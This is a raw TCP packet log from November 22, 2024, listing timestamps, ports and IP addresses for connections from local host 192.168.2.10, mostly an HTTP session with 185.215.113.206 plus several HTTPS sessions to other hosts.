Nov 22, 2024 17:09:03.146579027 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.146586895 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.146605015 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.146626949 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.146645069 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.147424936 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.147483110 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.147494078 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.147497892 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.147530079 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.147530079 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.148315907 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.148375034 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.148390055 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.148403883 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.148438931 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.149264097 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.149343967 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.170058012 CET	443	49799	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:03.170169115 CET	443	49799	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:03.170275927 CET	49799	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:03.170289993 CET	443	49799	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:03.171387911 CET	49799	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:03.171732903 CET	49813	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:03.171787977 CET	443	49813	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:03.171914101 CET	443	49799	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:03.171919107 CET	49813	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:03.172116041 CET	49799	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:03.172455072 CET	49813	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:03.172472954 CET	443	49813	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:03.181860924 CET	443	49803	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:03.181885958 CET	443	49803	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:03.181955099 CET	49803	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:03.181973934 CET	443	49803	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:03.183492899 CET	49803	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:03.183538914 CET	443	49803	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:03.183609962 CET	49803	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:03.183945894 CET	49814	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:03.183984041 CET	443	49814	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:03.184057951 CET	49814	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:03.184664011 CET	49814	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:03.184684992 CET	443	49814	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:03.195419073 CET	443	49800	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:03.198821068 CET	443	49800	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:03.198913097 CET	443	49800	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:03.198932886 CET	49800	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:03.198980093 CET	49800	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:03.199359894 CET	49800	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:03.199383974 CET	443	49800	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:03.265544891 CET	443	49802	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:03.265571117 CET	443	49802	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:03.265646935 CET	49802	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:03.265675068 CET	443	49802	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:03.265917063 CET	443	49802	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:03.265964985 CET	49802	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:03.266833067 CET	49802	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:03.266860962 CET	443	49802	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:03.266871929 CET	49802	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:03.266913891 CET	49802	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:03.320512056 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.320597887 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.320605993 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.320661068 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.320662022 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.320717096 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.320738077 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.320750952 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.320777893 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.320817947 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.321453094 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.321465969 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.321477890 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.321523905 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.321536064 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.322273016 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.322329044 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.322345972 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.322359085 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.322396040 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.323112965 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.323132992 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.323144913 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.323173046 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.323329926 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.324073076 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.324125051 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.324145079 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.324155092 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.324242115 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.324956894 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.325006008 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.325009108 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.325023890 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.325047970 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.325073004 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.325901031 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.325948000 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.325968027 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.325980902 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.326005936 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.326020002 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.326786041 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.326834917 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.326847076 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.326860905 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.326901913 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.327699900 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.327728987 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.327740908 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.327776909 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.327814102 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.328650951 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.328686953 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.328699112 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.328735113 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.328763008 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.329546928 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.329592943 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.329593897 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.329606056 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.329642057 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.330461025 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.330513000 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.330524921 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.330528975 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.330547094 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.330580950 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.331356049 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.331404924 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.331413031 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.331427097 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.331453085 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.331466913 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.332266092 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.332310915 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.332323074 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.332326889 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.332353115 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.333205938 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.333264112 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.333297014 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.333309889 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.333348989 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.334160089 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.334220886 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.334243059 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.334256887 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.334291935 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.334389925 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.335112095 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.335167885 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.335180998 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.335194111 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.335215092 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.335237026 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.336214066 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.336272001 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.336272955 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.336286068 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.336312056 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.336324930 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.337006092 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.337018967 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.337030888 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.337071896 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.337106943 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.337826967 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.337888002 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.337899923 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.337914944 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.337934017 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.338728905 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.338777065 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.338829041 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.338869095 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.420818090 CET	443	49801	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:03.420840025 CET	443	49801	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:03.420908928 CET	49801	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:03.420953035 CET	443	49801	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:03.420973063 CET	443	49801	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:03.421020031 CET	49801	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:03.422435045 CET	49801	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:03.422456980 CET	443	49801	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:03.461498976 CET	49815	443	192.168.2.10	20.110.205.119
Nov 22, 2024 17:09:03.461530924 CET	443	49815	20.110.205.119	192.168.2.10
Nov 22, 2024 17:09:03.461615086 CET	49815	443	192.168.2.10	20.110.205.119
Nov 22, 2024 17:09:03.461863995 CET	49815	443	192.168.2.10	20.110.205.119
Nov 22, 2024 17:09:03.461877108 CET	443	49815	20.110.205.119	192.168.2.10
Nov 22, 2024 17:09:03.464952946 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.585423946 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.604969978 CET	443	49804	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:03.605001926 CET	443	49804	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:03.605074883 CET	49804	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:03.605098009 CET	443	49804	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:03.606492996 CET	49804	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:03.606528044 CET	443	49804	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:03.606689930 CET	443	49804	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:03.606739044 CET	49804	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:03.606756926 CET	49804	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:03.865717888 CET	49816	443	192.168.2.10	104.70.121.219
Nov 22, 2024 17:09:03.865757942 CET	443	49816	104.70.121.219	192.168.2.10
Nov 22, 2024 17:09:03.865829945 CET	49816	443	192.168.2.10	104.70.121.219
Nov 22, 2024 17:09:03.866591930 CET	49817	443	192.168.2.10	104.70.121.219
Nov 22, 2024 17:09:03.866640091 CET	443	49817	104.70.121.219	192.168.2.10
Nov 22, 2024 17:09:03.866700888 CET	49817	443	192.168.2.10	104.70.121.219
Nov 22, 2024 17:09:03.866831064 CET	49816	443	192.168.2.10	104.70.121.219
Nov 22, 2024 17:09:03.866846085 CET	443	49816	104.70.121.219	192.168.2.10
Nov 22, 2024 17:09:03.867254972 CET	49817	443	192.168.2.10	104.70.121.219
Nov 22, 2024 17:09:03.867268085 CET	443	49817	104.70.121.219	192.168.2.10
Nov 22, 2024 17:09:03.868314028 CET	49818	443	192.168.2.10	204.79.197.219
Nov 22, 2024 17:09:03.868345976 CET	443	49818	204.79.197.219	192.168.2.10
Nov 22, 2024 17:09:03.868402004 CET	49818	443	192.168.2.10	204.79.197.219
Nov 22, 2024 17:09:03.868671894 CET	49818	443	192.168.2.10	204.79.197.219
Nov 22, 2024 17:09:03.868683100 CET	443	49818	204.79.197.219	192.168.2.10
Nov 22, 2024 17:09:03.869247913 CET	49819	443	192.168.2.10	204.79.197.219
Nov 22, 2024 17:09:03.869290113 CET	443	49819	204.79.197.219	192.168.2.10
Nov 22, 2024 17:09:03.869342089 CET	49819	443	192.168.2.10	204.79.197.219
Nov 22, 2024 17:09:03.869507074 CET	49819	443	192.168.2.10	204.79.197.219
Nov 22, 2024 17:09:03.869519949 CET	443	49819	204.79.197.219	192.168.2.10
Nov 22, 2024 17:09:03.911880970 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.911900043 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.911910057 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.911958933 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.912009954 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.912163019 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.912197113 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.912204027 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.912209988 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.912240028 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.912940025 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.912955999 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.912967920 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.912995100 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.913022995 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.913814068 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.913856030 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.913872004 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.913883924 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.913916111 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.913933039 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:03.914706945 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:03.914752960 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.037471056 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.037570953 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.037585020 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.037646055 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.037698984 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.037918091 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.037965059 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.038053036 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.038093090 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.038286924 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.038338900 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.038374901 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.038387060 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.038428068 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.039092064 CET	443	49806	20.1.248.118	192.168.2.10
Nov 22, 2024 17:09:04.039211988 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.039274931 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.039283991 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.039285898 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.039308071 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.039326906 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.039689064 CET	49806	443	192.168.2.10	20.1.248.118
Nov 22, 2024 17:09:04.039722919 CET	443	49806	20.1.248.118	192.168.2.10
Nov 22, 2024 17:09:04.040107965 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.040160894 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.040173054 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.040188074 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.040234089 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.040839911 CET	443	49806	20.1.248.118	192.168.2.10
Nov 22, 2024 17:09:04.040904045 CET	49806	443	192.168.2.10	20.1.248.118
Nov 22, 2024 17:09:04.041064978 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.041083097 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.041095018 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.041131973 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.041963100 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.042012930 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.042073011 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.042085886 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.042089939 CET	49806	443	192.168.2.10	20.1.248.118
Nov 22, 2024 17:09:04.042129993 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.042167902 CET	443	49806	20.1.248.118	192.168.2.10
Nov 22, 2024 17:09:04.042521000 CET	49806	443	192.168.2.10	20.1.248.118
Nov 22, 2024 17:09:04.042546034 CET	443	49806	20.1.248.118	192.168.2.10
Nov 22, 2024 17:09:04.042917967 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.042937994 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.042948008 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.042979956 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.043009996 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.083368063 CET	49806	443	192.168.2.10	20.1.248.118
Nov 22, 2024 17:09:04.161308050 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.161384106 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.161432981 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.161446095 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.161475897 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.161497116 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.161783934 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.161828995 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.161864996 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.162070990 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.162214994 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.162261963 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.162288904 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.162326097 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.162344933 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.162384987 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.162798882 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.162847042 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.162867069 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.162882090 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.162918091 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.162935972 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.163638115 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.163686991 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.163721085 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.163732052 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.163760900 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.163777113 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.164556980 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.164612055 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.164658070 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.164669037 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.164707899 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.165551901 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.165592909 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.165617943 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.165635109 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.165712118 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.166434050 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.166490078 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.166492939 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.166507006 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.166532040 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.166551113 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.167344093 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.167392969 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.167418957 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.167432070 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.167474985 CET	49747	80	192.168.2.10	185.215.113.206
